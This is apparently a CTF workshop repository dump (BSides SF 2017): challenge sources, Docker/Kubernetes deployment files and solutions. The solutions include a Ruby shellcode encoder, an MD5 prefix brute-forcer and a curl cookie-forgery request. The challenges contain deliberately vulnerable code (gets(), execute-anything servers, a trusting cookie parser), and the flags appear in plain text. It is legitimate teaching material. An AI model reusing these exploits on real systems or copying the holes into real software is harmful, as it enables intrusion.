edx 204 | code += "\x42" # inc edx 205 | code += "\x42" # inc edx 206 | code += "\x31\x51\x41" # xor [ecx+0x41], edx 207 | end 208 | 209 | code += "\x41" # inc ecx 210 | code += "\x41" # inc ecx 211 | code += "\x41" # inc ecx 212 | code += "\x41" # inc ecx 213 | 214 | return code 215 | end 216 | 217 | if(ARGV.length != 1) 218 | puts("Usage: sploit.rb ") 219 | exit(1) 220 | end 221 | 222 | # Get the shellcode and pad it to a multiple of 4 223 | shellcode = get_shellcode(ARGV[0]) 224 | while((shellcode.length % 4) != 0) 225 | shellcode += 'A' 226 | end 227 | 228 | # Break the shellcode into 4-byte integers 229 | shellcode = shellcode.unpack('N*') 230 | 231 | # Figure out the xor values 232 | encoded_shellcode = [] 233 | shellcode.each do |i| 234 | encoded_shellcode << get_xor_values_32(i) 235 | end 236 | puts("It looks like this will encode cleanly! Woohoo!") 237 | 238 | code = '' 239 | 240 | # Set edi to 0, so we can use it later 241 | code += "\x68\x41\x41\x41\x41" # push 0x41414141 242 | code += "\x58" # pop eax 243 | code += "\x35\x41\x41\x41\x41" # xor eax, 0x41414141 244 | code += "\x50" # push eax 245 | code += "\x50" # push eax 246 | code += "\x50" # push eax 247 | code += "\x50" # push eax 248 | code += "\x50" # push eax 249 | code += "\x50" # push eax 250 | code += "\x50" # push eax 251 | code += "\x61" # popad 252 | 253 | # Set ecx to the start of our encoded data 254 | # (We subtract 0x41 because later, we use xor [ecx+0x41], ...) 255 | code += set_ecx(0x41410000 + TEMP_OFFSET) 256 | 257 | # Build the first half of the XOR into the xor command 258 | encoded_shellcode.each do |i| 259 | code += get_xor_block(i[0]) 260 | end 261 | 262 | # Add some essentially no-op padding ('dec ebp') to get us up to +0x1000 263 | # TODO: Get rid of this once we're done and can calculate this properly 264 | if(code.length > TEMP_OFFSET + 0x41) 265 | raise(Exception, "Shellcode is too long!") 266 | end 267 | while(code.length < TEMP_OFFSET + 0x41) 268 | code += "\x4d" 269 | end 270 | 271 | # Now add the second half, which is the part that will be updated 272 | encoded_shellcode.each do |i| 273 | code += [i[1]].pack('N') 274 | end 275 | 276 | # Add the final padding (we use \x4d (M), which is 'dec ebp', because we need 277 | # it to be an exact multiple of 4. Usually base64 uses '=' to pad out the 278 | # string, but that does weird bit stuff and it doesn't always decode properly. 279 | # Using an actual Base64 character is safer. 280 | while((code.length() % 4) != 0) 281 | code += "\x4d" 282 | end 283 | 284 | # Display it 285 | puts("Base64: %s" % code) 286 | puts("Hex-encoded: %s" % code.bytes.map { |b| '\x%02x' % b}.join) 287 | puts() 288 | puts("rm -f core ; echo -ne '%s' | ./run_raw" % code) 289 | 290 | hex = (Base64.decode64(code).bytes.map { |b| '\x%02x' % b}).join 291 | puts() 292 | puts("rm -f core ; echo -ne '%s' | ./b-64-b-tuff" % hex) 293 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | # Our problems. You can easily test these by running: 2 | # `docker-compose build && docker-compose up -d` 3 | 4 | easyauth: 5 | build: easyauth/challenge 6 | ports: 7 | - 6112:80 8 | 9 | dontcrash: 10 | build: dontcrash/challenge 11 | ports: 12 | - 6113:6113 13 | 14 | seteax: 15 | build: seteax/challenge 16 | ports: 17 | - 6114:6114 18 | 19 | seteax-nz: 20 | build: seteax-nz/challenge 21 | ports: 22 | - 6115:6115 23 | 24 | readmem: 25 | build: readmem/challenge 26 | ports: 27 | - 6116:6116 28 | 29 | readmem-nz: 30 | build: readmem-nz/challenge 31 | ports: 32 | - 6117:6117 33 | 34 | writemem: 35 | build: writemem/challenge 36 | ports: 37 | - 6118:6118 38 | 39 | writemem-nz: 40 | build: writemem-nz/challenge 41 | ports: 42 | - 6119:6119 43 | 44 | readstack: 45 | build: readstack/challenge 46 | ports: 47 | - 6120:6120 48 | 49 | readstack-nz: 50 | build: readstack-nz/challenge 51 | ports: 52 | - 6121:6121 53 | 54 | writestack: 55 | build: writestack/challenge 56 | ports: 57 | - 6122:6122 58 | 59 | writestack-nz: 60 | build: writestack-nz/challenge 61 | ports: 62 | - 6123:6123 63 | 64 | readfile: 65 | build: readfile/challenge 66 | ports: 67 | - 6124:6124 68 | 69 | readfile-nz: 70 | build: readfile-nz/challenge 71 | ports: 72 | - 6125:6125 73 | 74 | hashecute: 75 | build: hashecute/challenge 76 | ports: 77 | - 6126:6126 78 | 79 | shortest: 80 | build: shortest/challenge 81 | ports: 82 | - 6127:6127 83 | 84 | b-64-b-tuff: 85 | build: b-64-b-tuff/challenge 86 | ports: 87 | - 6128:6128 88 | 89 | vhash: 90 | build: vhash/challenge 91 | ports: 92 | - 6129:80 93 | 94 | nibbler: 95 | build: nibbler/challenge 96 | ports: 97 | - 6130:6130 98 | -------------------------------------------------------------------------------- /dontcrash/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/dontcrash 6 | 7 | .PHONY: container push deploy delete deploy-service redeploy 8 | 9 | # Build the docker conatiner with the appropriate tag, allowing us to push it to our registry 10 | # The --no-cache argument builds the container from scratch, which is slow. 11 | container: 12 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 13 | 14 | # Push the container to the google container registry. 15 | # This is the first step in deploying the challenge 16 | push: 17 | gcloud docker -- push ${CONTAINER_TAG} 18 | 19 | # Deploy the challenge to kubernetes 20 | deploy: 21 | kubectl create -f deployment/deploy.yaml 22 | 23 | redeploy: 24 | # Errr... I guess this works 25 | kubectl delete -f deployment/deploy.yaml 26 | kubectl create -f deployment/deploy.yaml 27 | 28 | # This is what exposes the container to the world 29 | deploy-service: 30 | kubectl create -f deployment/service.yaml 31 | 32 | # Delete the challenge from our cluster 33 | delete: 34 | kubectl delete -f deployment/deploy.yaml 35 | kubectl delete -f deployment/service.yaml 36 | -------------------------------------------------------------------------------- /dontcrash/README.md: -------------------------------------------------------------------------------- 1 | This level requires a user to write some very, very simple shellcode. 2 | -------------------------------------------------------------------------------- /dontcrash/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN adduser --disabled-password --gecos '' ctf 4 | 5 | RUN apt-get update && apt-get install -y xinetd gcc make libc6-dev-i386 libssl-dev coreutils 6 | 7 | WORKDIR /home/ctf 8 | ADD src/* /home/ctf/ 9 | RUN make 10 | RUN chown -R root:root . 11 | 12 | # Set up xinetd 13 | ADD xinetd.conf /etc/xinetd.conf 14 | RUN mkdir /var/log/xinetd/ 15 | 16 | ADD dontcrash.xinetd /etc/xinetd.d/dontcrash 17 | 18 | USER root 19 | EXPOSE 6113 20 | 21 | CMD service xinetd restart && tail -F /var/log/xinetd/xinetd.log 22 | -------------------------------------------------------------------------------- /dontcrash/challenge/dontcrash.xinetd: -------------------------------------------------------------------------------- 1 | service dontcrash 2 | { 3 | protocol = tcp 4 | disable = no 5 | port = 6113 6 | flags = REUSE 7 | socket_type = stream 8 | wait = no 9 | user = ctf 10 | server = /usr/bin/timeout 11 | server_args = 10 /home/ctf/dontcrash 12 | type = UNLISTED 13 | } 14 | -------------------------------------------------------------------------------- /dontcrash/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | CC?=gcc 2 | OBJS=dontcrash.o 3 | 4 | dontcrash: ${OBJS} 5 | ${CC} -m32 ${CFLAGS} -o dontcrash dontcrash.c 6 | 7 | clean: 8 | rm -fv *.o dontcrash core core.* 9 | -------------------------------------------------------------------------------- /dontcrash/challenge/src/dontcrash.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "flag.h" 9 | 10 | #define LENGTH 1024 11 | #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0) 12 | 13 | int main(int argc, char *argv[]) 14 | { 15 | uint8_t *buffer = mmap(NULL, LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 16 | ssize_t len; 17 | 18 | alarm(10); 19 | 20 | disable_buffering(stdout); 21 | disable_buffering(stderr); 22 | 23 | printf("Send me stuff!! Your goal: cleanly return!\n"); 24 | len = read(0, buffer, LENGTH); 25 | 26 | if(len < 0) { 27 | printf("Error reading!\n"); 28 | exit(1); 29 | } 30 | 31 | asm("call *%0\n" : :"r"(buffer)); 32 | 33 | printf("Well done! The flag is: %s\n", FLAG); 34 | 35 | return 0; 36 | } 37 | -------------------------------------------------------------------------------- /dontcrash/challenge/src/flag.h: -------------------------------------------------------------------------------- 1 | #define FLAG "f1cf195926f7b163cc52c7d9ab6db589" 2 | -------------------------------------------------------------------------------- /dontcrash/challenge/xinetd.conf: -------------------------------------------------------------------------------- 1 | # Simple configuration file for xinetd 2 | # 3 | # Some defaults, and include /etc/xinetd.d/ 4 | 5 | defaults 6 | { 7 | 8 | # Please note that you need a log_type line to be able to use log_on_success 9 | # and log_on_failure. The default is the following : 10 | log_type = FILE /var/log/xinetd/xinetd.log 11 | log_on_success = HOST PID DURATION 12 | 13 | } 14 | 15 | includedir /etc/xinetd.d 16 | -------------------------------------------------------------------------------- /dontcrash/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: dontcrash 6 | spec: 7 | replicas: 2 8 | template: 9 | metadata: 10 | labels: 11 | app: dontcrash 12 | spec: 13 | containers: 14 | - name: dontcrash 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/dontcrash 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 6113 20 | volumeMounts: 21 | - mountPath: /var/run/secrets/kubernetes.io/serviceaccount 22 | name: no-api-access-please 23 | readOnly: true 24 | volumes: 25 | - name: no-api-access-please 26 | emptyDir: {} 27 | -------------------------------------------------------------------------------- /dontcrash/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: dontcrash-service 5 | labels: 6 | app: dontcrash 7 | spec: 8 | type: LoadBalancer 9 | ports: 10 | - port: 6113 11 | targetPort: 6113 12 | selector: 13 | app: dontcrash 14 | -------------------------------------------------------------------------------- /dontcrash/distfiles/Makefile: -------------------------------------------------------------------------------- 1 | ../challenge/src/Makefile -------------------------------------------------------------------------------- /dontcrash/distfiles/README.md: -------------------------------------------------------------------------------- 1 | The server will run any code you send it. Easy peaasy! 2 | 3 | (The server will give you further instructions) 4 | -------------------------------------------------------------------------------- /dontcrash/distfiles/dontcrash.c: -------------------------------------------------------------------------------- 1 | ../challenge/src/dontcrash.c -------------------------------------------------------------------------------- /easyauth/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/easyauth 6 | 7 | .PHONY: container push deploy delete redeploy deploy-service 8 | 9 | # Build the docker conatiner with the appropriate tag, allowing us to push it to our registry 10 | # The --no-cache argument builds the container from scratch, which is slow. 11 | container: 12 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 13 | push: 14 | gcloud docker -- push ${CONTAINER_TAG} 15 | 16 | # Deploy the challenge to kubernetes 17 | deploy: 18 | kubectl create -f deployment/deploy.yaml 19 | 20 | redeploy: 21 | # Errr... I guess this works 22 | kubectl delete -f deployment/deploy.yaml 23 | kubectl create -f deployment/deploy.yaml 24 | 25 | # This is what exposes the container to the world 26 | deploy-service: 27 | kubectl create -f deployment/service.yaml 28 | 29 | # Delete the challenge from our cluster 30 | delete: 31 | kubectl delete -f deployment/deploy.yaml 32 | kubectl delete -f deployment/service.yaml 33 | -------------------------------------------------------------------------------- /easyauth/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.0-apache 2 | 3 | # Upload the challenge 4 | ADD src/*.php /var/www/html/ 5 | 6 | EXPOSE 80 7 | -------------------------------------------------------------------------------- /easyauth/challenge/src/auth.php: -------------------------------------------------------------------------------- 1 | 'bmLhrHjius', 6 | 'guest' => 'guest', 7 | ); 8 | 9 | function is_valid($username, $password) 10 | { 11 | global $accts; 12 | 13 | return array_key_exists($username, $accts) && $accts[$username] === $password; 14 | } 15 | ?> 16 | -------------------------------------------------------------------------------- /easyauth/challenge/src/index.php: -------------------------------------------------------------------------------- 1 | Login successful!\n"; 19 | print "

Setting cookie: auth=$cookie

\n"; 20 | } else { 21 | print "

Username or password was incorrect!

\n"; 22 | } 23 | print "

Click here to continue!

\n"; 24 | exit(0); 25 | } 26 | 27 | if(!isset($_COOKIE['auth'])) { 28 | require_once('./login_form.php'); 29 | exit(0); 30 | } 31 | $cookie = $_COOKIE['auth']; 32 | 33 | $pairs = explode('&', $cookie); 34 | $args = array(); 35 | foreach($pairs as $pair) { 36 | if(!strpos($pair, '=')) 37 | continue; 38 | 39 | list($name, $value) = explode('=', $pair, 2); 40 | $args[$name] = $value; 41 | } 42 | $username = $args['username']; 43 | 44 | print "

Welcome back, $username!

\n"; 45 | if($username == 'administrator') { 46 | print "

Congratulations, you're the administrator! Here's your reward:

\n"; 47 | print "

" . FLAG . "

\n"; 48 | } else { 49 | print "

It's cool that you logged in, but unfortunately we can only give the flag to 'administrator'. :(

\n"; 50 | } 51 | print "

Log out

\n"; 52 | ?> 53 | -------------------------------------------------------------------------------- /easyauth/challenge/src/login_form.php: -------------------------------------------------------------------------------- 1 |

Please log in!

2 | 3 |
4 |

Username:

5 |

Password:

6 |

7 |

Note: bruteforcing is NOT required or allowed here, and could result in a ban!Hint: try guest/guest

8 |
9 | -------------------------------------------------------------------------------- /easyauth/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: easyauth 6 | spec: 7 | replicas: 1 8 | template: 9 | metadata: 10 | labels: 11 | app: easyauth 12 | spec: 13 | containers: 14 | - name: easyauth 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/easyauth 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 80 20 | -------------------------------------------------------------------------------- /easyauth/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: easyauth-service 5 | labels: 6 | app: easyauth-status 7 | spec: 8 | type: LoadBalancer 9 | ports: 10 | - port: 80 11 | targetPort: 80 12 | selector: 13 | # This should match the app name above 14 | app: easyauth 15 | -------------------------------------------------------------------------------- /easyauth/distfiles/README.md: -------------------------------------------------------------------------------- 1 | Can you gain admin access to this site? 2 | -------------------------------------------------------------------------------- /easyauth/distfiles/index.php: -------------------------------------------------------------------------------- 1 | ../challenge/src/index.php -------------------------------------------------------------------------------- /easyauth/solution/README.md: -------------------------------------------------------------------------------- 1 | Go to the site and log in; you'll get a cookie set such as: 2 | 3 | username=guest&date=2017-01-28T17:12:33-061120&secret_length=8& 4 | 5 | All you have to do is change the username: 6 | 7 | curl 'http://172.17.0.2/index.php' -H 'Cookie: auth=username%3Dadministrator%26date%3D2017-02-02T03%3A41%3A45%2B0000%26' 8 | -------------------------------------------------------------------------------- /easycap/distfiles/README.md: -------------------------------------------------------------------------------- 1 | Can you get the flag from the packet capture? 2 | -------------------------------------------------------------------------------- /easycap/distfiles/easycap.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iagox86/ctfworkshop-2017/ade89cc559a2e9ada8dc927d9ed2f52f30d0bf4d/easycap/distfiles/easycap.pcap -------------------------------------------------------------------------------- /easycap/solution/README.md: -------------------------------------------------------------------------------- 1 | The solution is quite simple.. it's just one character per packet. 2 | 3 | The easiest solution is: 4 | * Open in Wireshark 5 | * Right-click on any packet and click "Follow -> TCP Stream" 6 | 7 | Another solution is: 8 | * Open in Wireshark 9 | * Set the display filter "tcp.len > 0" 10 | * Go to each packet, and record the one byte of data 11 | 12 | FLAG:385b87afc8671dee07550290d16a8071 13 | -------------------------------------------------------------------------------- /easyreverse/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: easyreverse.c 2 | gcc -o easyreverse-32 -m32 easyreverse.c 3 | gcc -o easyreverse-64 -m64 easyreverse.c 4 | 5 | clean: 6 | rm -f *.o easyreverse-32 easyreverse-64 7 | -------------------------------------------------------------------------------- /easyreverse/challenge/easyreverse.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(int argc, char *argv[]) 6 | { 7 | char buffer[256]; 8 | 9 | printf("What is the password?\n"); 10 | gets(buffer); 11 | 12 | if(!strcmp(buffer, "the password")) 13 | { 14 | printf("FLAG:a4d813bd601c5aa11a7f467e1e430d29\n"); 15 | } 16 | else 17 | { 18 | printf("Wrong!!\n"); 19 | } 20 | 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /easyreverse/distfiles/easyreverse-32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iagox86/ctfworkshop-2017/ade89cc559a2e9ada8dc927d9ed2f52f30d0bf4d/easyreverse/distfiles/easyreverse-32 -------------------------------------------------------------------------------- /easyreverse/distfiles/easyreverse-64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iagox86/ctfworkshop-2017/ade89cc559a2e9ada8dc927d9ed2f52f30d0bf4d/easyreverse/distfiles/easyreverse-64 -------------------------------------------------------------------------------- /easyreverse/solution/README.md: -------------------------------------------------------------------------------- 1 | The 'strings' program is all that's needed to solve this. 2 | 3 | FLAG:db2f62a36a018bce28e46d976e3f9864 4 | -------------------------------------------------------------------------------- /hashecute/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/hashecute 6 | 7 | .PHONY: container push deploy delete deploy-service redeploy 8 | 9 | container: 10 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 11 | 12 | push: 13 | gcloud docker -- push ${CONTAINER_TAG} 14 | 15 | # Deploy the challenge to kubernetes 16 | deploy: 17 | kubectl create -f deployment/deploy.yaml 18 | 19 | redeploy: 20 | # Errr... I guess this works 21 | kubectl delete -f deployment/deploy.yaml 22 | kubectl create -f deployment/deploy.yaml 23 | 24 | # This is what exposes the container to the world 25 | deploy-service: 26 | kubectl create -f deployment/service.yaml 27 | 28 | # Delete the challenge from our cluster 29 | delete: 30 | kubectl delete -f deployment/deploy.yaml 31 | kubectl delete -f deployment/service.yaml 32 | -------------------------------------------------------------------------------- /hashecute/README.md: -------------------------------------------------------------------------------- 1 | This is a fairly simple/straight forward level. 2 | 3 | Basically, the user sends some code with an md5 checksum. The server verifies 4 | the checksum, then runs both the checksum and the code. 5 | 6 | The trick is to find a checksum that can run. And, it turns out, that's pretty 7 | easy; you just need a checksum that starts with "\xeb\x0e". Since you can 8 | append anything random after your code, it's just a matter of figuring out what 9 | to append! 10 | 11 | The solution/ just makes a breakpoint happen, but can very easily be expanded 12 | to arbitrary code. 13 | -------------------------------------------------------------------------------- /hashecute/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN adduser --disabled-password --gecos '' ctf 4 | 5 | RUN apt-get update && apt-get install -y xinetd gcc make libc6-dev-i386 libssl-dev 6 | 7 | WORKDIR /home/ctf 8 | ADD src/* /home/ctf/ 9 | RUN make 10 | RUN chown -R root:root . 11 | 12 | ADD hashecute.xinetd /etc/xinetd.d/hashecute 13 | 14 | USER root 15 | EXPOSE 6126 16 | 17 | CMD service xinetd restart && sleep infinity 18 | -------------------------------------------------------------------------------- /hashecute/challenge/hashecute.xinetd: -------------------------------------------------------------------------------- 1 | service hashecute 2 | { 3 | protocol = tcp 4 | disable = no 5 | port = 6126 6 | flags = REUSE 7 | socket_type = stream 8 | wait = no 9 | user = ctf 10 | server = /home/ctf/hashecute 11 | type = UNLISTED 12 | } 13 | -------------------------------------------------------------------------------- /hashecute/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | CC?=gcc 2 | LIBS?=-lssl -lcrypto 3 | OBJS=hashecute.o 4 | 5 | hashecute: ${OBJS} 6 | ${CC} ${CFLAGS} -o hashecute ${OBJS} ${LIBS} 7 | 8 | clean: 9 | rm -fv *.o hashecute core core.* 10 | -------------------------------------------------------------------------------- /hashecute/challenge/src/flag.txt: -------------------------------------------------------------------------------- 1 | FLAG:ad678c882a03485652d2d409680aaf67 2 | -------------------------------------------------------------------------------- /hashecute/challenge/src/hashecute.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define LENGTH 1024 10 | #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0) 11 | 12 | int verify(uint8_t *hash, uint8_t *data, size_t length) { 13 | uint8_t buffer[MD5_DIGEST_LENGTH]; 14 | MD5_CTX ctx; 15 | MD5_Init(&ctx); 16 | MD5_Update(&ctx, data, length); 17 | MD5_Final(buffer, &ctx); 18 | 19 | return !memcmp(buffer, hash, MD5_DIGEST_LENGTH); 20 | } 21 | 22 | int main(int argc, char *argv[]) 23 | { 24 | uint8_t *buffer = mmap(NULL, LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 25 | ssize_t len; 26 | 27 | alarm(10); 28 | 29 | disable_buffering(stdout); 30 | disable_buffering(stderr); 31 | 32 | printf("Send me stuff!!\n"); 33 | len = read(0, buffer, LENGTH); 34 | 35 | if(len < 0) { 36 | printf("Error reading!\n"); 37 | exit(1); 38 | } 39 | 40 | if(len < 16) { 41 | printf("Message was too short!\n"); 42 | printf("Expected: \n"); 43 | exit(1); 44 | } 45 | 46 | if(!verify(buffer, buffer+16, len - 16)) { 47 | printf("md5sum didn't check out!\n"); 48 | printf("Expected: \n"); 49 | exit(1); 50 | } 51 | 52 | asm("call *%0\n" : :"r"(buffer)); 53 | 54 | return 0; 55 | } 56 | -------------------------------------------------------------------------------- /hashecute/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: hashecute 6 | spec: 7 | replicas: 1 8 | template: 9 | metadata: 10 | labels: 11 | app: hashecute 12 | spec: 13 | containers: 14 | - name: hashecute 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/hashecute 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 6126 20 | volumeMounts: 21 | - mountPath: /var/run/secrets/kubernetes.io/serviceaccount 22 | name: no-api-access-please 23 | readOnly: true 24 | volumes: 25 | - name: no-api-access-please 26 | emptyDir: {} 27 | -------------------------------------------------------------------------------- /hashecute/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: hashecute-service 5 | labels: 6 | app: hashecute 7 | spec: 8 | type: LoadBalancer 9 | ports: 10 | - port: 6126 11 | targetPort: 6126 12 | selector: 13 | app: hashecute 14 | -------------------------------------------------------------------------------- /hashecute/distfiles/Makefile: -------------------------------------------------------------------------------- 1 | ../challenge/src/Makefile -------------------------------------------------------------------------------- /hashecute/distfiles/README.md: -------------------------------------------------------------------------------- 1 | The server will run any code you send it. But, there's a catch! 2 | 3 | The flag is in /home/ctf/flag.txt. 4 | -------------------------------------------------------------------------------- /hashecute/distfiles/hashecute.c: -------------------------------------------------------------------------------- 1 | ../challenge/src/hashecute.c -------------------------------------------------------------------------------- /hashecute/solution/sploit.rb: -------------------------------------------------------------------------------- 1 | # encoding: ASCII-8bit 2 | 3 | require 'digest' 4 | 5 | DESIRED_PREFIX = "\xeb\x0e" 6 | DESIRED_CODE = "\xCC" 7 | 8 | 0.upto(0xFFFFFFFFFFFFFFFF) do |i| 9 | this_code = DESIRED_CODE + [i].pack('q') 10 | checksum = Digest::MD5.digest(this_code) 11 | 12 | if(checksum.start_with?(DESIRED_PREFIX)) 13 | puts "Code: %s" % (this_code.bytes.map { |c| '\x%02x' % c }).join() 14 | puts "Checksum: %s" % (checksum.bytes.map { |c| '\x%02x' % c }).join() 15 | puts("Checksum: %s" % checksum.unpack("H*")) 16 | break 17 | end 18 | end 19 | -------------------------------------------------------------------------------- /in-plain-sight/README.md: -------------------------------------------------------------------------------- 1 | Challenge: A really simple crypto problem, where the ciphertext is somewhat 2 | obscured, by it being an ASCII string. Mostly meant to be quick and annoying. :) 3 | -------------------------------------------------------------------------------- /in-plain-sight/challenge/README.md: -------------------------------------------------------------------------------- 1 | I created this by hacking up Poracle. See the .diff file in this folder for the 2 | code I used, in case this has to be re-created, but it's kind of a pain to do 3 | that. 4 | -------------------------------------------------------------------------------- /in-plain-sight/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | FLAG:1d010f248d 2 | 3 | -------------------------------------------------------------------------------- /in-plain-sight/challenge/poracle.diff: -------------------------------------------------------------------------------- 1 | diff --git a/Demo.rb b/Demo.rb 2 | index d38db66..27f6e73 100644 3 | --- a/Demo.rb 4 | +++ b/Demo.rb 5 | @@ -14,25 +14,25 @@ require './Poracle' 6 | BLOCKSIZE = 16 7 | 8 | poracle = Poracle.new(BLOCKSIZE, true) do |data| 9 | - url = "http://localhost:20222/decrypt/#{data.unpack('H*').pop()}" 10 | + url = "http://localhost:20221/decrypt/#{data.unpack('H*').pop()}" 11 | result = HTTParty.get(url) 12 | 13 | # Return 14 | result.parsed_response !~ /Fail/ 15 | end 16 | 17 | -data = HTTParty.get("http://localhost:20222/encrypt").parsed_response 18 | -print "Trying to decrypt: %s" % data 19 | - 20 | -result = poracle.decrypt([data].pack('H*')) 21 | -puts("-----------------------------") 22 | -puts("Decryption result") 23 | -puts("-----------------------------") 24 | -puts result 25 | -puts("-----------------------------") 26 | -puts() 27 | - 28 | -data = "The most merciful thing in the world, I think, is the inability of the human mind to correlate all its contents." 29 | +#data = HTTParty.get("http://localhost:20221/encrypt").parsed_response 30 | +#print "Trying to decrypt: %s" % data 31 | +# 32 | +#result = poracle.decrypt([data].pack('H*')) 33 | +#puts("-----------------------------") 34 | +#puts("Decryption result") 35 | +#puts("-----------------------------") 36 | +#puts result 37 | +#puts("-----------------------------") 38 | +#puts() 39 | + 40 | +data = "FLAG:1d010f248d" 41 | print "Trying to encrypt: %s" % data 42 | result = poracle.encrypt(data) 43 | 44 | diff --git a/Poracle.rb b/Poracle.rb 45 | index 2054431..65c6e5c 100644 46 | --- a/Poracle.rb 47 | +++ b/Poracle.rb 48 | @@ -261,7 +261,7 @@ class Poracle 49 | data_blocks = data.unpack("a#{@blocksize}" * blockcount) 50 | 51 | # The 'final' block can be defaulted to anything 52 | - last_block = (0...@blocksize).map { rand(255).chr() }.join 53 | + last_block = 'HiddenCiphertext' 54 | result = last_block 55 | data_blocks.reverse().each do |b| 56 | last_block = _get_block_encrypt(b, last_block) 57 | diff --git a/RemoteTestServer.rb b/RemoteTestServer.rb 58 | index b843473..7e3f69a 100644 59 | --- a/RemoteTestServer.rb 60 | +++ b/RemoteTestServer.rb 61 | @@ -15,7 +15,7 @@ require 'base64' 62 | require 'openssl' 63 | require 'sinatra' 64 | 65 | -set :port, 20222 66 | +set :port, 20221 67 | 68 | # Note: Don't actually generate keys like this! 69 | KEY = (1..32).map{rand(255).chr}.join 70 | @@ -38,6 +38,7 @@ get(/\/decrypt\/([a-fA-F0-9]+)$/) do |data| 71 | result = c.update(data) 72 | result += c.final 73 | 74 | + puts("KEY: %s" % KEY.unpack("H*")) 75 | puts("Result: \"%s\"" % result.unpack('H*')) 76 | 77 | puts('SUCCESS') 78 | -------------------------------------------------------------------------------- /in-plain-sight/distfiles/README.md: -------------------------------------------------------------------------------- 1 | This level is simple: all you have to do is decrypt some HiddenCiphertext! To 2 | make it even easier, I'll give you everything you need, except the ciphertext; 3 | you have to find that on your own! 4 | 5 | You will need: 6 | 7 | * Algorithm: `AES-256-CBC` 8 | * Key: `c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1` 9 | * IV: `0a0e176722a95a623f47fa17f02cc16a` 10 | 11 | (Hint: As usual, the flag will start with 'FLAG:', so you'll know when you've 12 | found it :) ) 13 | -------------------------------------------------------------------------------- /in-plain-sight/solution/solution.txt: -------------------------------------------------------------------------------- 1 | 2.3.0 :001 > require 'openssl' 2 | => true 3 | 4 | 2.3.0 :002 > c = OpenSSL::Cipher::Cipher.new("AES-256-CBC") 5 | => # 6 | 7 | 2.3.0 :003 > c.decrypt 8 | => # 9 | 10 | 2.3.0 :004 > c.key = ['c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1'].pack("H*") 11 | => "\xC0\x86\xE0\x8A\xD8\xEE\x0E\xBE|# \t\x9C\xFE\xC9\xEE\xA9\xA3F\xA1\bW\nOd\x94\xCF\xE7\xC2\xA3\x0E\xE1" 12 | 13 | 2.3.0 :005 > c.iv = ['0a0e176722a95a623f47fa17f02cc16a'].pack('H*') 14 | => "\n\x0E\x17g\"\xA9Zb?G\xFA\x17\xF0,\xC1j" 15 | 16 | 2.3.0 :006 > c.update('HiddenCiphertext') + c.final() 17 | => "FLAG:1d010f248d" 18 | 19 | -------------------------------------------------------------------------------- /nibbler/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/nibbler 6 | 7 | .PHONY: container push deploy delete deploy-service 